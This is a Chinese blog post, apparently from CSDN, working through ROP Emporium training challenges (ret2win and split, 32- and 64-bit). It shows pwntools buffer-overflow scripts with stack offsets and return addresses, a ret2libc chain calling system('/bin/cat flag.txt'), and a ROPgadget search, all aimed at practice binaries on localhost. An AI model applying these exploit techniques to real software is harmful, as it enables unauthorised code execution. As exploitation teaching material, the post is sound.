小白详解rop emporium

本文是小白对rop emporium挑战的详细解析,涵盖ret2win、split、callme等系列题目,涉及32位和64位系统的rop链构造,包括利用ida分析、寻找溢出点、绕过限制等技巧,旨在帮助初学者理解rop工作原理。
摘要由CSDN通过智能技术生成

小白详解rop emporium

前言

rop emporium网站上提供了许多构造ropchallenge,作为小白的我从这里开始,专注于rop链的构造。
ps:写完放了好久结果没投出去,我好菜啊-。-

题目

0x0

ret2win32

IDA打开,很容易找到溢出点

这里写图片描述

char s; // [esp+0h][ebp-28h]可以看出s距ebp的偏移为0x28

memset(&s, 0, 0x20u);s分配了0x20大小的内存
fgets(&s, 50, stdin)stdin中读入50
从上面三条指令可以看出如果我們輸入0x28那麼正好可以写到ebp之前,后面的0x10字节的内容就可以让我们任意的覆盖了。而且ebp之后便是ret的返回地址。
有一点值得引起注意,我们回车换行符同样会输入进去0x10
明确溢出点以及可溢出的字节后接下来我们就开始构造rop,但在这之前我们还应检查一下程序开启了哪些保护,这决定了我们该采取何种rop攻击方式
checksec ret2win32

这里写图片描述

有关linux下的保护措施,在此不做说明。

程序中已经有ret2win函数,通过控制流跳转到此函数,便可得到flag

脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0) + p32(0x08048659)
    conn.send(payload)
    conn.interactive()


attack_remote()

因为这是第一题所以简单说一下溢出点的判断,后续则专注与rop链的构造

ret2win64

仅仅是stack的offset发生了变化

脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='arm64', os='linux', endian='little', rename_corefiles=False)
    # context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x20 + p64(0) + p64(0x400811)
    conn.send(payload)
    conn.interactive()


attack_remote()

可能有同学会疑问p64(0)的作用,这是为了覆盖ebp

以上的rop我们称作ret2text

0x1

split32

溢出点还是一样的,只不过少了直接利用的函数,但是程序中提供了system/bin/cat flag.txt,同样的ret到system并且通过栈传入/bin/cat flag.txt即可
脚本如下:

from pwn import*


def attack_remote():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0) + p32(0x08048657)+p32(0x0804A030)
    conn.send(payload)
    conn.interactive()

此题还有意外一种思路,我们可以不直接返回到text段,而是通过.plt段,利用linux下的延迟绑定技术,找到内存中system的真实地址,并且传入参数。

这里写图片描述
在linux中主要是通过ld.so进行加载动态库,从图中我们也可以看到此时将libc中的system加载到内存
此时的脚本如下:

def attack_remote1():
    # echo 0 > /proc/sys/kernel/randomize_va_space
    context(arch='i386', os='linux', endian='little', rename_corefiles=False)
    context.log_level = 'debug'
    context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
    conn = remote('localhost', 10000)
    raw_input("go?")
    payload = "a" * 0x28 + p32(0) + p32(0x08048430)+p32(0)+p32(0x0804A030)
    conn.send(payload)
    conn.interactive()

我想有部分同学会对第二个p32(0)感到困惑,其实我也很疑惑,正常跳转来说p32(0x08048430)之后就应该接上p32(0x0804A030)作为第一个参数。好吧,我比较喜欢钻死胡同,网上下了glibc的源码,看了下system函数的实现

int
__libc_system (const char *line)
{
  if (line == NULL)
    /* Check that we have a command processor available.  It might
       not be available after a chroot(), for example.  */
    return do_system ("exit 0") == 0;

  return do_system (line);
}
weak_alias (__libc_system, system)

emmm,ida里面看看

这里写图片描述

其中eax作为我们传入的参数,位于[esp+0Ch+arg_0]中,结合上一条语句可以知道中间确实需要写一个p32(0)作为填充。

完全可以当我这段没写,记住就好了哈!

至此,我们已经成功的拿到flag。
此种rop我们称作ret2libc

split

由于64位使用寄存器传参,因此就不能像上题那样,我们必须把/bin/cat flag.txt通过pop传入寄存器中,这里就需要了解下万能rop链了。

这里写图片描述

这段代码是_libc_csu_init中的代码,也就是所有的linux64位程序都会有这段,想必你一定知道IDA中的CD键,其实pop r15的机器码是41 5fpop rdi的机器码是5f,正是这微小的差别(不知道我这么解释能不能理解-。-)
当然啦,如果你不想理解,也可以直接使用工具ropper或者ROPgadget搜索相应的rop,由于第一次提到这两个工具,我在这里就简述一下这两个工具的使用。
两个工具差不多,都可以通过pip安装,这里就讲一下ROPgadget
ROPgadget -h查看帮助,其中提供了很多例子。

ROPgadget --binary ./split --ropchain | grep "pop rdi ; ret"

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值